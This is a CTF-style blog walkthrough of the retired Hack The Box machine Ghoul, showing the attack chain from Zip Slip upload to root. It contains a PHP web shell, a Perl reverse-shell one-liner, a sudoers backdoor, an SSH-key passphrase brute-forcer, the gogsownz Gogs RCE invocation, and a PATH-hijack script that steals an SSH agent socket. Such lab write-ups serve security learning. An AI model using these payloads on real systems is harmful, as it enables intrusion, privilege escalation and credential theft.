This post documents the complete walkthrough of Ghoul, a retired vulnerable VM created by egre55 and MinatoTW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

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Ghoul is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=700

Starting masscan 1.0.4 ( at 2019-05-06 06:49:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on                                    
Discovered open port 8080/tcp on                                  
Discovered open port 22/tcp on                                    
Discovered open port 2222/tcp on

Interesting. Let’s do one better with nmap scanning the discovered ports to see what are the services.

# nmap -n -v -Pn -p22,2222,80,8080 -A --reason -oN nmap.txt
Nmap scan report for
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_  256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: A64A06AAE4304C2B3921E4FA5C9FF39C
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
|   256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_  256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open  http    syn-ack ttl 62 Apache Tomcat/Coyote JSP engine 1.1
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report

Nothing unusual. Here’s what the http services look like.


8080/tcp (admin:admin)

Looks like we have an uploader.

Directory/File Enumeration

But first, let’s touch base with gobuster first on 80/tcp.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 20 -e -x php,htm,html,txt -u                

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 20
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php,htm,html,txt
[+] Expanded     : true
[+] Timeout      : 10s
2019/05/07 02:09:07 Starting gobuster
===================================================== (Status: 301) (Status: 200) (Status: 200) (Status: 200) (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 301) (Status: 200) (Status: 301)
2019/05/07 03:38:47 Finished

secret.php looks interesting.

Looks like we have a remote command/code execution (RCE) vulnerability somewhere! :triumph:

Zip Slip Vulnerability

It’s easy to miss this if you don’t navigate around for a bit.

You can upload zip files and looks like I found where the files are uploaded to.

What does that tell you? The Zip Slip Vulnerability!

Legend has it that,

Zip Slip is a widespread arbitrary file overwrite critical vulnerability, which typically results in remote command execution. It was discovered and responsibly disclosed by the Snyk Security team ahead of a public disclosure on 5th June 2018, and affects thousands of projects, including ones from HP, Amazon, Apache, Pivotal and many more (CVEs and full list here).

I guess someone from Aogiri didn’t get the memo.

In any case, you need to craft a Zip file that contains several levels of directory traversal as file name, e.g. ../../../../../../../../evil.txt, in order to write evil.txt to /, the root directory. You have a better chance of traversing to the root directory with multiple levels of ../ because the traversal will eventually revert to the root directory beyond a certain number of levels. The vulnerability exists because there’s no proper sanitization checks with the file name in most Zip extraction code. This is most prevalent in Java. And guess what, this upload code is written in Java Server Pages (or JSP).

To create the malicious Zip file, we can use evilarc. What kind of file do we put inside the Zip file? PHP of course. Remember that Apache/PHP runs behind 80/tcp?

Let’s zip this little bad boy.

<?php echo shell_exec($_GET[0]); ?>

We want to put cmd.php at the document root (likely to be /var/www/html) of 80/tcp.

Bam. We have remote command execution alright.

Low-Privilege Shell

From here on, it’s easy to get a shell. I’m using the following Perl one-liner.

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

It’s best to urlencode the one-liner to prevent any complications when passing it as an URL. On my nc listener, a shell appears…

It’s equally easy to upgrade the shell to a full TTY.

During enumeration of the www-data account, you’ll realize that 8080/tcp is running as root. As such, we can use Zip Slip to write to anywhere, e.g. /etc/sudoers.d. Wait a tick, it can’t be that easy right? Well, that’s because we are inside a docker container.

Here’s a snippet of the output of mount. It has all the hallmarks of a docker container.

Lucky for us, user.txt is in this container (aogiri).

How do we become root? We can write a sudoers file to /etc/sudoers.d with Zip Slip as follows.


It basically lets www-data do anything as root without password, including becoming root!

Well, with that we can grab all the users’ SSH keys (in the event of a reset, we can use the keys to log in) as well as discover what other connections to other containers we have.

Lateral Movement

In order to probe other containers, we need to a few basic tools like nc and socat. We can download a copy of statically-compiled socat from this repository.

We’ll then slip these tools in with the Zip Slip, :smirk: or if you prefer, with scp.

I think we are good to go.

Port-scan 101

The first step of port-scanning is to determine your targets whether they are up or not.

Aogiri has an IP of Let’s use the following command to ping the entire /24 subnet to see who’s alive.

Awesome, we have We can run a very rudimentary port scan with nc’s zero I/O mode like so.

If I had to guess, I would say that is actually kaneki-pc. kaneki left clues in his home directory.

kaneki talks of transfering files to the server (???) using his PC.

Feels like Reddish all over again. Anyways, the username to kaneki-pc is kaneki_pub. The private key in .ssh is also password protected which makes it even more likely to be the private key for kaneki-pc.

The question now is what’s the password?

Decrypting RSA Private Key

Let’s scp the password-protected RSA private key to my attacking machine for cracking. Towards that end, I wrote a very simple bash script to brute-force the password with openssl as the main driver.


die() {
  killall perl 2>/dev/null

if openssl rsa -in $FILE -out $FILE.pem -passin pass:$2 2>/dev/null; then
  printf "\n%s\n" "[+] Password is: $PASS"

The first argument is the key; the second argument is the attempted password. Combine this script with GNU Parallel and a good wordlist, and you got yourself a powerful, multi-threaded cracker of sorts. :laughing:

Well, I’ve tried the famed wordlist rockyou.txt with no luck. Then it dawned upon me that the wordlist could come from the site. Remember the secret chat group? We can use cewl to extract a wordlist from it.

Lame, I know.

Kaneki’s PC (

Time to test our log in.

Indeed! And guess what, more clues.

It shouldn’t come as a surprise, but kaneki-pc is dual-homed.

Time to copy tools like nc and socat over with scp.

Let’s repeat the port-scan steps.

Looks like we have another docker container at Let’s scan with for open ports with nc again.

Serious Pivoting

Here’s the game plan: I set up socat to listen at 3000/tcp on kaneki-pc and forward all the traffic to at 3000/tcp. I then set up dynamic port forwarding with my SSH session to aogiri. I should be able to access 3000/tcp at right from my browser. Here’s an ASCII illustration of the network links. I’m obviously the attacker. :smiling_imp:

aogiri ( <-> ( kaneki-pc ( <-> ( ???

On kaneki-pc

$ ./socat tcp-listen:3000,fork tcp: &

On my attacking machine

# ssh -D9999 -i ssh/aogiri [email protected] -f -N

There you have it.

Gogs 0.11.66 a.k.a gogsownz

kaneki mentioned something about Gogs in note.txt and something about giving AogiriTest user access to Eto for git as well.

TheZ3ro wrote an awesome generic exploit tool (gogsownz) for several Gogs CVEs. In particular, Gogs 0.11.66 is susceptible to remote code execution via git hooks. To do that, we need credentials. That sent me on a wild goose chase for passwords. In the end, I found a commented password at /usr/share/tomcat7/conf/tomcat-users.xml.

Damn. Even using gogsownz need some digging into the source code. I’ve done my homework. Gogs configuration file is at app.ini and the default values can be found in the Gogs repository.

From the official documentation of Gogs, we know a couple of things:

  • Default running user is git
  • SSH home page is ~/.ssh

As such, we can run gogsownz and put in a SSH public we control to ~/.ssh/authorized_keys like so.

# ./ -v --cookie-name 'i_like_gogits' --creds 'AogiriTest:[email protected]' --rce "echo $(cat ssh/ >> ~/.ssh/authorized_keys" --cleanup --burp
[i] Starting Gogsownz on:
[+] Loading Gogs homepage
[i] Gogs Version installed: © 2018 Gogs Version:                                      
[i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will
 need an account.
[+] Performing login
[+] Logged in sucessfully as AogiriTest
[+] Got UserID 2
[+] Repository created sucessfully
[i] Exploiting authenticated PrivEsc...
[+] Uploading admin session as repository file
[+] Uploaded successfully.
[+] Committing the Admin session
[+] Committed sucessfully
[+] Removing Repo evidences
[+] Repo removed sucessfully
[i] Signed in as kaneki, is admin True
[i] Current session cookie: 'b3d8001337'
[+] Got UserID 1
[+] Repository created sucessfully
[+] Setting Git hooks
[+] Git hooks set sucessfully
[+] Fetching last commit...
[+] Got last commit
[+] Triggering the RCE with a new commit
[+] Committed sucessfully
[i] Performed RCE successfully
[i] Waiting 10 seconds before cleaning up...
[+] Removing Repo evidences
[+] Repo removed sucessfully
[i] Done!

Awesome. Transfer the private key to kaneki-pc and we should be able to gain access to the Gogs server.

During enumeration of git’s account, I noticed an unusual setuid executable gosu.

From the help, it appears that gosu is like sudo.

Let’s see if we can make ourselves root.

Sweet. Check out what’s in /root.

Suffice to say, I copied aogiri-app.7z back to my machine for further analysis.

Aogiri Chat Application

Diffing the commits reveal the following.

I tried the password on kaneki-pc’s root with no effect. It turns out that git objects kept a complete history of what was written to the file. Pretty neat stuff.

All the object files are zlib compressed data.

As such, we can use unpigz to uncompress these object files to display plaintext onto stdout like so.

# find . -type f -exec unpigz -c {} \; 2>/dev/null | tr -cd '[:print:]\n' | less

The highlighted password is the correct one to su as root. And guess what’s in there? root.txt!

Damn, again. :angry:

Privilege Escalation

During enumeration of root in kaneki-pc, I noticed something weird. This occurs every couple of minutes. kaneki_adm logs in to kaneki-pc only to log in to as root at 2222/tcp to execute

It appears that SSH agent forwarding to the docker host is enabled on kaneki-pc because that command didn’t work when I tried it. Check out /etc/ssh/ssh_config in kaneki-pc.

# This is the ssh client system-wide configuration file.  See
# ssh_config(5) for more information.  This file provides defaults for
# users, and the values can be changed in per-user configuration files
# or on the command line.

# Configuration data is parsed as follows:
#  1. command line options
#  2. user-specific file
#  3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.

# Site-wide defaults for some commonly used options.  For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.

Host *
    ForwardAgent yes
#   ForwardX11 no
#   ForwardX11Trusted yes
#   PasswordAuthentication yes
#   HostbasedAuthentication no
#   GSSAPIAuthentication no
#   GSSAPIDelegateCredentials no
#   GSSAPIKeyExchange no
#   GSSAPITrustDNS no
#   BatchMode no
#   CheckHostIP yes
#   AddressFamily any
#   ConnectTimeout 0
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
    LogLevel QUIET
#   IdentityFile ~/.ssh/id_rsa
#   IdentityFile ~/.ssh/id_dsa
#   IdentityFile ~/.ssh/id_ecdsa
#   IdentityFile ~/.ssh/id_ed25519
#   Port 22
#   Protocol 2
#   Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
#   MACs hmac-md5,hmac-sha1,[email protected]
#   EscapeChar ~
#   Tunnel no
#   TunnelDevice any:any
#   PermitLocalCommand no
#   VisualHostKey no
#   ProxyCommand ssh -q -W %h:%p
#   RekeyLimit 1G 1h
    SendEnv LANG LC_*
    HashKnownHosts yes
    GSSAPIAuthentication yes

This can only mean one thing: someone in the docker host has a private key stored in the memory of a ssh-agent, which makes SSH login to a destination server through an intermediate server painless and password-less. However, in the event the intermediate server is compromised, an attacker can easily hijack the Unix socket used for communicating with the agent for nefarious purposes.

Towards that end, I switched the actual ssh at /usr/bin/ssh for a “fake” ssh at /usr/local/bin/ssh, which is nothing more than the following script.


/usr/bin/ssh [email protected]; find / -type s 2>/dev/null >/tmp/evil

Check out the PATH environment variable.

Notice that /usr/local/bin is at a higher executable search priority than /usr/bin?

Once the “fake” ssh is executed, the path to the Unix socket used for communicating with the agent is saved to /tmp/evil.

We can set up a watch on w to monitor who logs in to kaneki-pc. The moment kaneki_adm logs in to execute ssh [email protected] -p 2222 -t ./, we’ll execute the following script to hijack that socket and use it to log in as root to at 2222/tcp.


export SSH_AUTH_SOCK=$(cat /tmp/evil)

ssh [email protected] -p 2222

We are in the endgame now.